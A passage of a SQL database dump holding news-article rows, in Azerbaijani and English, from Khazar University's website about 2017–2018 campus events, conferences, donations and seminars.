width:233.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <strong>50 $</strong>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(4354,2582,'az','Xəzər Universitetinin tələbələri Bakıda sorğu keçirdilər','2017-ci il oktyabrın 21-i və 22-də Xəzər Universitetinin tələbələri universitetlərarası qlobal yarışma olan “P2P: Facebook Qlobal...','<p>2017-ci il oktyabrın 21-i və 22-də Xəzər Universitetinin tələbələri universitetlərarası qlobal yarışma olan “P2P: Facebook Qlobal Rəqəmsal Çağırış” layihəsi çərçivəsində Bakı şəhərində sorğu keçirdi. Sorğunun məqsədi insanların ekstremizm və zorakılığa qarşı fikirləri, nifrət nitqi ilə bağlı bilikləri və ekstremizmə qarşı mübarizə və sülhün yayılmasında iştirakları haqqında məlumat toplamaq idi. Sorğunun nəticələri komandaya əsas hədəf qruplarını müəyyən etməyə, onların yanaşmaları və reaksiyalarını öyrənməyə, bu hədəf qrupu üçün fəaliyyət növləri müəyyənləşdirməyə və kampaniyanın həyata keçirilməsi üçün plan hazırlamağa kömək edəcək.</p><p>Xəzər Universitetinin “P2P: Facebook Qlobal Rəqəmsal Çağırış” yarışında iştirakını Beynəlxalq əlaqələr ofisi koordinasiya edir.</p><p>Layihə və Xəzər Universitetinin komandası haqqında daha geniş məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"http://www.khazar.org/en/news/article/2522\">http://www.khazar.org/en/news/article/2522</a>.</p>'),(4355,2582,'en','Khazar University Students Conduct a Survey in Baku','On October 21-22, 2017, the students of Khazar University conducted a survey in Baku within the framework of the inter-university...','<p>On October 21-22, 2017, the students of Khazar University conducted a survey in Baku within the framework of the inter-university global competition \"P2P: Facebook Global Digital Challenge\". The purpose of the survey was to collect information about people\'s opinions about extremism and violence, their general knowledge on hate speech and their involvement in the fight against extremism and promoting peace. The results of the survey will help the team to identify their main target audience, find out their attitudes and reactions, explore possible activities for this group and prepare a plan for the implementation of the campaign.</p><p>Participation of Khazar University in “Peer to Peer: Facebook Global Digital Challenge” is coordinated by the International Affairs Office.</p><p>For more information about the project and the team of Khazar University:</p><p><a href=\"http://www.khazar.org/en/news/article/2522\">http://www.khazar.org/en/news/article/2522</a>.  <br></p><p>(Students of Khazar University Participate in “Peer to Peer: Facebook Global Digital Challenge\")  <br></p>'),(4356,2583,'az','Media Yaponiyanın Nippon Fondunun hədiyyəsindən yazdı','2017-ci il oktyabrın 26-da Yaponiyanın Nippon Fondu Xəzər Universitetinə, “ADA” Universitetinə, Azərbaycan...','<p>2017-ci il oktyabrın 26-da Yaponiyanın Nippon Fondu Xəzər Universitetinə, “ADA” Universitetinə, Azərbaycan Milli Elmlər Akademiyasının Mərkəzi Elmi Kitabxanasına və Azərbaycan Respublikasının Prezidenti yanında Dövlət İdarəçilik Akademiyasına kitablar hədiyyə etdi.</p><p>Bu haqda daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=132585\">http://www.azerbaijan-news.az/index.php?mod=3&amp;id=132585</a>;</p><div style=\"font-size:large\"><a href=\"https://azertag.az/xeber/Yaponiyanin_Nippon_Fondu_Azerbaycanin_elm_ve_tehsil_muessiselerine_kitablar_hediyye_edib-1106236\">https://azertag.az/xeber/Yaponiyanin_Nippon_Fondu_Azerbaycanin_</a></div><div style=\"font-size:large\"><a href=\"https://azertag.az/xeber/Yaponiyanin_Nippon_Fondu_Azerbaycanin_elm_ve_tehsil_muessiselerine_kitablar_hediyye_edib-1106236\"></a><a href=\"https://azertag.az/xeber/Yaponiyanin_Nippon_Fondu_Azerbaycanin_elm_ve_tehsil_muessiselerine_kitablar_hediyye_edib-1106236\">elm_ve_tehsil_muessiselerine_kitablar_hediyye_edib-1106236</a>;</div><div><br></div><p><a href=\"http://tehsil-press.az/index.php?newsid=23888\">http://tehsil-press.az/index.php?newsid=23888</a>.</p>'),(4358,2584,'az','Yaponiyanın Nippon Fondu Xəzər Universitetinə kitab hədiyyə etdi','2017-ci il oktyabrın 26-da Nippon Fondunun (The Nippon Foundation) Xəzər Universiteti də daxil olmaqla...','<p>2017-ci il oktyabrın 26-da Nippon Fondunun (<em>The Nippon Foundation</em>) Xəzər Universiteti də daxil olmaqla, Azərbaycanın dörd ali təhsil müəssisəsinə bağışladığı kitabların təqdimatı ADA Universitetində keçirildi. Təqdimatda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Hamlet İsaxanlı ilə yanaşı, Nippon Fondunun rəhbəri Yohei Sasakawa, Yaponiyanın Azərbaycan Respublikasındakı Fövqəladə və Səlahiyyətli səfiri Teruyuki Katori, ADA Universitetinin rektoru Hafiz Paşayev iştirak edirdilər. Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin müdiri Aytac Misgərli və Kataloqlaşdırma bölməsinin rəhbəri Samirə Orucova da tədbirin iştirakçıları arasında idilər.</p><p>Professor Hamlet İsaxanlı Xəzər Universiteti ilə Nippon Fondunun əməkdaşlıq tarixi və həyata keçirilən iki layihə haqqında, Yaponiyaya səfəri və həmçinin, təqdimatda bağışlanılan kitablar barədə danışdı.</p>'),(5716,3279,'en','1st International Conference on “One Health: Problems and Solutions” held at Khazar University','On June 1-2, 2018, on the organizational support of the Department of Biology...','<br><p style=\"text-align:left\"><iframe src=\"https://player.vimeo.com/video/271521181\" width=\"640\" height=\"360\" frameborder=\"0\"></iframe></p>\r\n<p>On June 1-2, 2018, on the organizational support of the Department of Biology, 1<sup>st</sup> International Conference on “One Health: Problems and Solutions” was held in Marble hall of Khazar University.</p><p>It should be noted that the following media resources posted news on the conference in December last year:</p><ul><li>One Health Platform <a href=\"https://onehealthplatform.com/ohp/calendar\">https://onehealthplatform.com/ohp/calendar</a></li><li>Nature Events <a href=\"https://www.nature.com/natureevents/science/events/65707-One_Health_Problems_Solutions\">https://www.nature.com/natureevents/science/events/65707-One_Health_Problems_Solutions</a></li><li>One Health Initiative <a href=\"https://www.cbd.int/2011-2020/actions/country\">https://www.cbd.int/2011-2020/actions/country</a>&nbsp;</li><li>Convention on Biological Diversity <a href=\"https://chm.cbd.int/database/record/239825\">https://chm.cbd.int/database/record/239825</a></li></ul><p>Khazar University has been incorporated into the Planetary Health Alliance Consortium housed at&nbsp;Harvard University. With regard to this, the Director of the Consortium sent a congratulation&nbsp;video to Khazar University and wished success to the conference (A link to download the video:&nbsp;<a href=\"https://vimeo.com/271521181\">https://vimeo.com/271521181</a>)</p><p>Planetary Health Alliance of Harvard University, which includes well-known universities as well as Khazar University, held its annual conference on May 31-June 1 at University of Edinburgh, UK, and the Alliance, on its website, announced the conference, held at Khazar University, as \"Partner&nbsp;event\" (<a href=\"https://planetaryhealthannualmeeting.org/satellite-meetings/\">https://planetaryhealthannualmeeting.org/satellite-meetings/</a>). This Alliance is financed by The Rockefeller Foundation and includes more than 95 universities, government&nbsp;organisations, research institutions and partners around the world.</p><p>More than 30 experts from Azerbaijan, Turkey, Russia, Iran, Georgia, USA, Canada and Switzerland participate at the conference. Also, the representatives of the Ministry of Health of the Republic of Azerbaijan, the Ministry of Ecology and Natural Resources, the Ministry of Emergency Situations,&nbsp;the Ministry of Transport, Communication and High Technologies, the Ministry of Agriculture, Food Safety Agency and the Nizami district municipality attended the conference.</p><p>NIZAMI Erasmus+ project, Global Alliance Group and Nargiz Clinics also joined and supported the conference</p><p>Assoc.Prof. Irada Khalilova, Vice-rector for Research of Khazar University, delivered an opening speech and gave the floor to Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees. In his speech, Prof. Hamlet Isakhanli stressed the international importance of the conference and wished success to participants.</p><p>Then according to the program report deliveries started. More than 30 reports were delivered during the two days. Certain topics were discussed in relevant sections in which question and answer session was also held. The conference posters of young researchers were hanged on stands and presentations were made during breaks.</p><p>A competition for poster presentations was held which was evaluated by International Jury of 7 members, and the winners were announced. The Chair of the Jury David Dyjack, PhD, CIH, Executive Director of the National Environmental Health Association, USA, announced the winners and presented them with certificates. Yegana Sultanova, Entomologist of the Department of Monitoring of Infections&nbsp;of Republican Anti-Plague Station, and PhD candidate&nbsp;of Parasitology Department of the National Research Institute of Preventive Medicine named after V.Akhundov, held the first place. Namig Mustafayev, Microbiologist of Republican Anti-Plague Station, held the second place. Moozhan Serpoush, a PhD student at the Department of Biological Sciences of Khazar University, held the third place.</p><p>Assoc.Prof. Irada Khalilova, Vice-rector for Research of Khazar University, delivered a closing speech at the conference, the participants were certified and memory photos were taken.</p>'),(4357,2487,'en','Selection Competition of The World Robotics Olympiad for Azerbaijan held','On October 7, 2017, the World Robotics Olympiad selection competition was held, for the first time, at Baku Olympic...','<p>On October 7, 2017, the World Robotics Olympiad selection competition was held, for the first time, at Baku Olympic Sports Complex with the support of the Ministry of Youth and Sports of the Republic of Azerbaijan and organization by the \"Youth Education, Training, Vocational and Development Center\" Public Union and the AREA (Azerbaijan Robotics Engineering Academy).</p><p>Speaking at the opening ceremony, Intigam Babayev, Deputy Minister of Youth and Sport, noted that the competitions provide young people with the opportunity to demonstrate their knowledge and skills and to share experience with their peers. He also stated that conducting such Olympiads will make a great contribution to the youth\'s scientific development.</p><p>Kohe Ishigami, Chief Judge, Japanese expert, co-founder of AREA, noted in his speech that successful work had been carried out for the development of this sphere in Azerbaijan. The chief judge said that educating young people in this field is important for the development of Azerbaijan and their future. He underlined a great interest of the Azerbaijani youth in this field, and mentioned that all conditions for the development of robotics in our country had been created.</p><p>Rahman Rasulzade, technical director of the Azerbaijan Organizing Committee of the World Robotics Olimpiad, provided organizational support for the competitions.</p><p>Teams competed in three directions: \"Robot Football\", \"Open Category\" and \"Main Category\". The competition was attended by the representatives of Khazar University, Baku Higher Oil School, Baku Engineering University, ADA University, High School named after Academician Zarifa Aliyeva, “Kaspi” High School, Baku Modern Education Complex, British School in Baku, Secondary school No 215, “Istek” High School and Lyceum No 267.</p><p>Khazar University was represented by the 2nd year students from the Faculty of Engineering and Applied Sciences.</p><p>The teams of \"Khazar\", who were competing in the \"Main category\" with 3 teams, were honored with First (Vusal Ismayilov, Mahammad Mammadli, Ahmad Arabov), Second (Emin Bayramov, Aykhan Alifov, Asaf Nofruzlu) and Third (Ilgar Huseynli, Taleh Mammadov) places.</p><p>The winning teams were awarded with diplomas and valuable prizes.</p>'),(4359,2575,'en','Scientific Seminar-Conference held at Khazar University','On October 20, 2017, Francis Schaffner, an expert in entomology, systematics and parasitology from the University of Zurich...','<p>On October 20, 2017, Francis Schaffner, an expert in entomology, systematics and parasitology from the University of Zurich in Switzerland, Dr. Fatma Khrouf, a researcher - entomologist of the Scientific Research Institute named after Lui Pasteur in Tunisia and Kushvar Mammadova, a young researcher and assistant of Veterinary Faculty of Azerbaijan State Agrarian University conducted a seminar-conference at Khazar University, as part of an exchange program and within the framework of the International VectorNet research project.</p><p>The project was in association with the European Food Safety Authority (EFSA), the European Center for Disease Prevention and Control (EFSA) and the World Health Organization.</p><p>The goal of the project is to collect information about vectors and pathogens from around the world with respect to a threat they pose for human and animal health. The researchers have collected samples of dead mosquitoes involved in the spread of viruses from over 50 regions in Azerbaijan. After carrying out genetic analysis, they will present a map of mosquito species and their populations in Azerbaijan at the next meeting. It should be noted that they previously developed such maps for Europe, Turkey and Georgia.</p><p>The seminar and conference was a two-part event. Dr. Francis Schaffner outlined the goals and objectives of the project, presented information on important mosquito species involved in the spread of dangerous viral diseases and maps of the countries and the regions in Azerbaijan researched so far, while Dr. Fatma Khrouf spoke about collecting mosquito samples and the methods of their research.</p><p>The seminar ended with the discussion of the results and future research plans.</p>'),(4360,2584,'en','The Nippon Foundation of Japan presented books to Khazar University','On October 26, 2017, a presentation of books, bestowed to four universities of Azerbaijan including Khazar University...','<p>On October 26, 2017, a presentation of books, bestowed to four universities of Azerbaijan including Khazar University by the&nbsp;Nippon Foundation, was held at ADA University.</p><p>Yohei Sasakawa, the Chairman of the Nippon Foundation, Teruyuki Katori, Ambassador Extraordinary and Plenipotentiary of Japan to Azerbaijan Republic, Hafiz Pashayev, the Rector of ADA University, Hamlet Isakhanli, the Founder of Khazar University and the Chief of the Board of Directors and Trustees participated in the presentation. Aytaj Misgarli, Head of the Khazar University Library-Information Centre and Samira Orujova, Head of the Cataloging Section were also among the participants.</p><p>Professor Hamlet Isakhanli talked about the history of the collaboration between Khazar University and the&nbsp;Nippon Foundation, about the two projects implemented, his visit to Japan, and the books presented.</p>'),(4361,2585,'az','Xəzər Universiteti doktorantının tədqiqatı üzrə yeni kitabı çapdan çıxdı','Xəzər Universitetinin doktorantı Xaqani İsmayılın Müasir İnkişaf İctimai Birliyinin layihəsi çərçivəsində Azərbaycan Respublikasının Prezidenti...','<p>Xəzər Universitetinin doktorantı Xaqani İsmayılın Müasir İnkişaf İctimai Birliyinin layihəsi çərçivəsində Azərbaycan Respublikasının Prezidenti yanında Qeyri-Hökumət Təşkilatlarına Dövlət Dəstəyi Şurasının dəstəyi ilə “Ermənilərin müsəlmanlara, xristianlara və yəhudilərə qarşı soyqırımı” adlı kitabı çapdan çıxmışdır. Kitab I Dünya müharibəsi zamanı Qafqaz, Cənubi Azərbaycan və Orta Asiya ərazilərində türklərin, müsəlmanların, eləcə də yəhudi və xristianların erməni soyqırımına məruz qalmasını arxiv materialları və sənədli qaynaqlar əsasında işıqlandırır.</p><p>Eyni layihə çərçivəsində kitab rus və ingilis dillərində çapa hazırlanır.</p>'),(4362,2585,'en','Khazar University PhD student’s book has been published on his research','The new book entitled ‘The genocide against Muslims, Christians and Jews by Armenians’ by Khagani...','<p>The new book entitled <strong>‘The genocide against Muslims, Christians and Jews by Armenians’</strong> by Khagani Ismayil, a PhD student of Khazar University, has been published with the support of the Council of State Support to Non-Governmental Organizations under the President of the Republic of Azerbaijan, within the frame of the project of Modern Development Public Union.</p><p>Based on archive materials and documentary sources, the book illustrates genocide of Turks, Muslims, as well as Jews and Christians in the Caucasus by Armenians in South Azerbaijan and Central Asia during World War I.</p><p>The English and Russian versions of the book are expected to be further published.</p>'),(5714,3280,'az','PETRA layihəsi çərçivəsində Jyväskylä Universitetində görüş','2018-ci il mayın 28-dən iyunun 1-dək Xəzər Universiteti Təhsil fakültəsinin dekanı...','<p>2018-ci il mayın 28-dən iyunun 1-dək Xəzər Universiteti Təhsil fakültəsinin dekanı dosent Elza Səmədova, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, İngilis dili və ədəbiyyatı departamentinin koordinatoru Kəmalə Əsgərova, İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova və Təhsil fakültəsinin koodrinatoru Qoşqar Məhərrəmov “Azərbaycan universitetlərində tədris və təlimin təkmilləşdirilməsi” adlı ERASMUS+ layihəsi çərçivəsində Finlandiyanın Jyväskylä Universitetində keçirilən silsilə seminarlarda iştirak etdilər.</p><p>Tədbirdə həm Azərbaycandan (Xəzər Universiteti, Naxçıvan Dövlət Universiteti, Gəncə Dövlət Universiteti, Sumqayıt Dövlət Universiteti, Bakı Slavyan Universiteti, Azərbaycan Dillər Universiteti, Azərbaycan Dövlət Pedaqoji Universiteti, Azərbaycan Universiteti), həm də Avropadan (Debrecen Universiteti –Macarıstan, Valensiya Politexnik Universiteti –&nbsp;İspaniya, Vyana Tətbiqi Elmlər Universiteti –&nbsp;Avstriya, Qazi Universiteti –&nbsp;Türkiyə) olan tərəfdaş universitetlərin 30-a yaxın nümayəndəsi iştirak etdirdi.</p><p>5 günlük seminarda iştirakçılar Jyväskylä Universiteti, universitetdə tədqiqat işləri, tədqiqat işlərinin elektron bazasının yaradılması, istifadəsi və hər kəsə əlçatan olması (Open access), Moodle sistemi haqqında geniş məlumatlar əldə etdilər və Moodle-dan istifadə etmək üçün keçirilən təlimlərdə iştirak etdilər.</p><p>Təlimlərin sonunda iştirakçılara sertifikatlar təqdim olundu.</p>'),(4363,2571,'en','Khazar University hosts jubilee ceremony dedicated to the 60th anniversary of Vurgun Eyyub','On October 24, Khazar University hosted an anniversary ceremony to commemorate the 60th anniversary of Vurgun...','<p>On October 24, Khazar University hosted an anniversary ceremony to commemorate the 60th anniversary of Vurgun Eyyub, the head of the Azerbaijani Language and Literature department. The university administration and staff as well as guests took part in the ceremony.</p><p>Dilbar Zeynalov, the instructor of the Azerbaijani Language and Literature Department, who led the ceremony, firstly gave the floor to Dr. Isakhan Isaxanli, the vice-rector of the university. In his speech, Dr. Isakhan Isakhanli spoke about Vurgun Eyyub’s pedagogical and scientific activities, read a congratulatory letter addressed to him on behalf of the staff of the university and presented the letter to him with flowers.</p><p>Congratulatory speeches were delivered by Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Dr. Hasan Niknafs, the rector of the university, Prof. Mahammad Nuriyev, vice rector of the university, Badirkhan Ahmadli, head of Department of Literature Institute named after Nizami Ganjavi of Azerbaijan National Academy of Sciences, Dr. Elza Semedli, dean of the School of Education, Reyhana Madatova, Ilaha Gurbanova, Khatira Yusifova, Gardashkhan Azizkhanli, instructors of the department of the Azerbaijan language and literature, and Mail Yagubov, instructor of the Department of Philosophy and Sociology.</p><p>Speakers spoke of Vurghun Eyyub’s multifarious activities, characterizing him as a well-known educational organizer, literary scholar and public-political figure.</p><p>At the jubilee ceremony, Ashig Ramal Azafli and Mahsati Jabbarova, the instructor of the university, performed the ashig song.</p><p>At the end of the ceremony, Vurgun Eyyub thanked the university administration and participants for organizing the jubilee ceremony.</p>'),(4364,2583,'en','Media wrote about the present bestowed by the Nippon Foundation of Japan','On October 26, 2017, Japan\'s Nippon Foundation presented books to Khazar University, ADA University...','<p>On October 26, 2017, The&nbsp;Nippon Foundation of Japan&nbsp;presented books to Khazar University, ADA University, the Central Scientific Library of the Azerbaijan National Academy of Sciences and the Academy of Public Administration under the President of the Republic of Azerbaijan.</p><p>More information can be obtained through these links:</p><div style=\"font-size:large\"><a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=132585\">http://www.azerbaijan-news.az/index.php?mod=3&amp;id=132585</a>;  <br></div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\"><a href=\"https://azertag.az/xeber/Yaponiyanin_Nippon_Fondu_Azerbaycanin_elm_ve_tehsil_muessiselerine_kitablar_hediyye_edib-1106236\">https://azertag.az/xeber/Yaponiyanin_Nippon_Fondu_Azerbaycanin_</a></div><div style=\"font-size:large\"><a href=\"https://azertag.az/xeber/Yaponiyanin_Nippon_Fondu_Azerbaycanin_elm_ve_tehsil_muessiselerine_kitablar_hediyye_edib-1106236\"></a><a href=\"https://azertag.az/xeber/Yaponiyanin_Nippon_Fondu_Azerbaycanin_elm_ve_tehsil_muessiselerine_kitablar_hediyye_edib-1106236\">elm_ve_tehsil_muessiselerine_kitablar_hediyye_edib-1106236</a>;</div><div><br></div><p><a href=\"http://tehsil-press.az/index.php?newsid=23888\">http://tehsil-press.az/index.php?newsid=23888</a>.</p>'),(4417,2618,'az','Xəzər Universitetində Dünya Tək Sağlamlıq Gününə həsr edilmiş tədbir keçirildi','2017-ci il noyabrın 3-də Xəzər Universitetində Dünya Tək Sağlamlıq Gününə həsr edilmiş tədbir keçirildi...','<p>2017-ci il noyabrın 3-də Xəzər Universitetində <strong><em>Dünya Tək Sağlamlıq Günü</em></strong>nə həsr edilmiş tədbir keçirildi. Tədbirdə Azərbaycan Respublikası Səhiyyə Nazirliyinin baş epidemioloqu və Azərbaycan Tibb Universitetinin epidemiologiya kafedrasının müdiri professor İbadulla Ağayev, Azərbaycan Tibb Universitetinin elmi işçisi Dr.&nbsp;Hafiz Hacıyev, Milli Onkologiya Mərkəzinin beynəlxalq əlaqələr və innovasiyalar departamentinin müdiri Dr.&nbsp;Elturan İsmayılov, Xəzər Universitetinin rektoru Dr.&nbsp;Hassan Niknafs, Elmi işlər üzrə prorektor dosent İradə Xəlilova, Xəzər Psixoloji Xidmət Mərkəzinin direktoru doktorant Mələk Kərimova, doktorant Validə Kərimova, bioloji elmlər departamentinin elmi işçisi Dr. Babək Əlibəyov, departamentin PhD tələbələri, Təhsil fakültəsinin biologiya, kimya və biologiya,&nbsp;coğrafiya müəllimliyi ixtisası tələbələri iştirak edirdilər.</p><p>Bioloji elmlər departamentinin doktorantı Havva Adlı “Dünya Tək Sağlamlıq Komissiyasının missiyası, tarixi, məqsədi və qlobal strateji planları” mövzusunda çıxış etdi. Sonra Dr.&nbsp;Babək Əlibəyov “Antimikrobial rezidentlik və dünya üzrə onun yaratdığı problemlər” mövzusunda məlumat verdi. Coğrafiya və ətraf mühit departamentinin 3-cü kurs tələbəsi Xanım Adışirinli “Ətraf mühit, problemlər və həllər” mövzusunda çıxış etdi.</p><p>Baytar həkimi və doktorant Mehdi Zakeri “Vektorlu patogenlər və infeksiyaların keçiricilərlərlə yayılması və onların qarşısının alınması yolları” mövzusunda çıxış etdi və bu problemin həllinin Avropanın Qida Təhlükəsizliyi Təşkilatı (<em>European Food Safety Authority –EFSA</em>), Avropanın Xəstəliyə Qarşı Mübarizə və İdarəetmə Mərkəzi (<em>European Centre for Disease Prevention and Control –&nbsp;ECDPC</em>) və Dünya Sağlamlıq Təşkilatı (<em>World Health Organization –&nbsp;WHO</em>) tərəfindən dəstəkləndiyini vurğuladı.</p><p>Tədbir maraqlı müzakirələrlə keçdi. Sonda professor İbadulla Ağayev keçirilən tədbirin mühüm əhəmiyyətini qeyd etdi. O, tələbələrə və gənc tədqiqatçılara innovativ yanaşmaları inkişaf etdirməklə, patogenləri vaxtında aşkar etməyi və qarşısını almağı tövsiyə etdi. Gələcəkdə bu sahənin daha da işıqlandırılması, tədqiqat işlərinin aparılması, seminar və konfransların təşkil edilməsi planlaşdırıldı.</p>'),(4365,2586,'az','Xəzər Universiteti BMT Günü və BMT-Azərbaycan münasibətlərinin 25 illiyinə həsr olunmuş tədbirdə','2017-ci il oktyabrın 24-də BMT-nin Azərbaycandakı nümayəndəliyi Hilton otelində qurumun yaradılmasının...','<p>2017-ci il oktyabrın 24-də BMT-nin Azərbaycandakı nümayəndəliyi Hilton otelində qurumun yaradılmasının 72-ci ildönümü - BMT Günü və BMT-Azərbaycan münasibətlərinin 25 illiyinə həsr olunmuş tədbir keçirib.</p><p>Tədbir Azərbaycan dövlət himninin səsləndirilməsi ilə başlayıb. Himni Xəzər Universiteti Kamera orkestrinin müşayiəti ilə Xəzər Universitetinin müəllimi, Müslüm Maqomayev adına Dövlət Akademik Filarmoniyasının solisti Məhsəti Cabbarova ifa edib. Tədbirin rəsmi hissəsində BMT-nin Azərbaycandakı rezident əlaqələndiricisi və BMT-nin İnkişaf Proqramının (BMTİP) rezident nümayəndəsi Qulam İsakzai və Xarici işlər nazirinin müavini Mahmud Məmmədquliyev çıxış etmişlər. BMT Baş katibi Antonio Guterresin videomüraciəti səsləndirilib.</p><p>Xəzər Universiteti Məzunlarla iş mərkəzinin direktoru Baba Bayramlı tədbirdə iştirak etmişdir.</p><p>Tədbirin bədii hissəsində Xəzər Universiteti Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu, dosent Zülfiyyə Sadıqovanın rəhbərliyi ilə universitetin Kamera orkestri və Məhsəti Cabbarova Azərbaycan bəstəkarlarının əsərlərindən ibarət konsert proqramı ilə çıxış etmişlər.</p>'),(4366,2587,'az',' Görkəmli pedaqoq Əjdər Ağayevin yubileyində','2017-ci il oktyabrın 27-də Bakı Mühəndislik Universitetində görkəmli pedaqoq Əjdər Ağayevin...','<p>2017-ci il oktyabrın 27-də Bakı Mühəndislik Universitetində görkəmli pedaqoq Əjdər Ağayevin 80 illik yubileyinə həsr olunmuş tədbir keçirildi.</p><p>Tədbirdə Xəzər Universitetinin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli çıxış edərək, Xəzər Universiteti və “Dünya” məktəbi kollektivi adından yubilyara ünvanlanan təbrik məktubunu oxudu, ona gül dəstəsi təqdim etdi.</p>'),(4367,2588,'az','Gürcüstanda keçirilən seçkilərdə azərbaycanlılar uğur qazandılar','2017-ci il oktyabrın 21-də Gürcüstanda keçirilmiş yerli seçkilərdə 200-dən çox azərbaycanlı namizəd...','<p>2017-ci il oktyabrın 21-də Gürcüstanda keçirilmiş yerli seçkilərdə 200-dən çox azərbaycanlı namizəd mübarizə aparırdı, onlardan 67-si qalib gəldi. Bu haqda <strong><em>minval.az</em></strong> xəbər saytı məlumat yaymışdır.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://minval.az/news/123732874\">http://minval.az/news/123732874</a>.</p>'),(4368,2589,'az','Təhsil fakültəsinin tələbələri üçün məlumatlandırıcı seminar keçirildi','2017-ci ilin oktyabrın 27-də Xəzər Universitetinin layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru...','<p>2017-ci ilin oktyabrın 27-də Xəzər Universitetinin layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova Təhsil fakültəsinin tələbələri üçün məlumatlandırıcı seminar keçirdi. Seminar zamanı tələbələrə Xəzər Universitetinin tərəfdaş kimi iştirak etdiyi Erasmus+ “<em>Advocacy Establishment for Students through Ombudsman Position</em>” (AESOP) layihəsi, layihə çərçivəsində görülmüş və planlaşdırılmış fəaliyyətlər haqqında məlumat verildi.</p><p>Seminarda Xəzər Universitetində fəaliyyət göstərən Əlilliyi olan Tələbələr üçün Mərkəz haqqında təqdimat olundu və mərkəzin təklif etdiyi xidmətlər haqqında da tələbələrə məlumat verildi.</p>'),(4369,2590,'az','“Qloballaşan təhsil” adlı I Beynəlxalq Təhsil Elmləri Simpoziumu keçiriləcək','2018-ci il aprelin 20-si və 21-də Xəzər Universitetində ömrünü Azərbaycan təhsilinin beynəlmiləlləşməsinə, dünya təhsil sisteminə inteqrasiyasına...','<p>2018-ci il aprelin 20-si və 21-də Xəzər Universitetində ömrünü Azərbaycan təhsilinin beynəlmiləlləşməsinə, dünya təhsil sisteminə inteqrasiyasına həsr etmiş, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının 70 illik yubileyinə həsr olunmuş “Qloballaşan təhsil” adlı I Beynəlxalq Təhsil Elmləri Simpoziumu keçiriləcək.</p><p>Dünyanın müxtəlif universitetlərindən gələn alimlərin, tədqiqatçıların iştirakı ilə keçiriləcək bu simpoziumun məqsədi təhsil elmləri ilə əlaqədar dünyada gedən prosesləri, təhsildə baş verən son yenilikləri və Azərbaycanın dünya təhsil məkanına inteqrasiyasını müzakirə etmək, gənc tədqiqatçıları təhsil elminin yeni istiqamətlərində tədqiqat aparmağa təşviq etməkdir.</p><p>Simpoziuma Azərbaycan türkcəsi, Türkiyə türkcəsi, rus və ingilis dillərində məqalələr qəbul edilir.</p><p>Simpoziumda məruzəçi və ya dinləyici kimi&nbsp;iştirak etmək üçün <strong><a href=\"/files/letters/Qeydiyyat_formasi_-_az-s.doc\">qeydiyyatdan</a>&nbsp;</strong>keçərək, məqalələrin xülasələrini təyin olunan müddətə (15.02.2018)&nbsp;qədər&nbsp;<a href=\"mailto:edusymposium@khazar.org\">edusymposium@khazar.org</a> elektron ünvanına göndərməyiniz xahiş olunur.</p><p><br></p><h3><p>SİMPOZİMUN MÖVZULARI</p></h3><ul><li>Dünya təhsil sistemləri, təhsil siyasəti və strategiya</li><li>Ali təhsildə gedən proseslər və yeniliklər</li><li>Təlim tədris prosesinin təkmilləşdirilməsi strategiyası</li><li>Təhsilin idarə olunması və liderlik</li><li>Təhsilin planlaşdırılması və iqtisadiyyatı</li><li>Təhsildə texnologiyaların tətbiqi</li><li>Təhsilin sosial-mədəni əsasları (fəlsəfəsi, sosiologiyası, psixologiyası və tarixi)</li></ul><p>Simpoziumun saytına bu link vasitəsilə daxil olmaq olar:</p><p><a href=\"http://edusymposium.khazar.org/folder/English/index_En.php\">http://edusymposium.khazar.org/folder/English/index_En.php</a>.</p>'),(4370,2591,'az','Xəzər Universitetində Semiotika üzrə 8-ci Beynəlxalq Konfrans uğurla baş tutdu','2017-ci il oktyabrın 28-də Xəzər Universitetində Gürcüstanın İlia Universitetinin Semiotika Araşdırmaları Mərkəzi və Xəzər...','<p>2017-ci il oktyabrın 28-də Xəzər Universitetində Gürcüstanın İlia Universitetinin Semiotika Araşdırmaları Mərkəzi və Xəzər Universitetinin birgə təşkilatçılığı ilə Semiotika üzrə 8-ci Beynəlxalq Konfrans keçirildi.</p><p>Konfransın açılış mərasimində çıxış edən Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının&nbsp;sədri professor Hamlet İsaxanlı Gürcüstanın İlia Universiteti ilə təşkil olunmuş beynəlxalq semiotika konfransından olduqca məmnun qaldığını bildirdi. O, həmçinin Gürcüstanla bağlı xatirələrini bölüşdü və həm Azərbaycanın, həm də Gürcüstanın ona çox doğma ölkələr olduğunu qeyd etdi. Eyni zamanda, Semiotika Araşdırmalar Mərkəzinin rəhbəri, professor Tsira xanım Barbakadze konfransın təşkil edilməsində Xəzər Universitetinin göstərdiyi böyük dəstəyə görə öz təşəkkürünü bildirdi, iki ölkənin sıx dostluq münasibətlərini bir daha vurğuladı və Professor İsaxanlıya öz dəyərli hədiyyələrini təqdim etdi.</p><p>Bundan sonra plenar iclasda çıxış edən Slavyan Universiteti Azərbacan dili və ədəbiyyatı kafedrasının rəhbəri professor Rəhilə Qeybullayevanın və dosent Qriqori Coxadzenin çıxışları olduqca yaddaqalan oldu.</p><p>Ümumilikdə, konfransda Azərbaycanın Xarici Dillər Universiteti, İqtisadiyyat Universiteti və 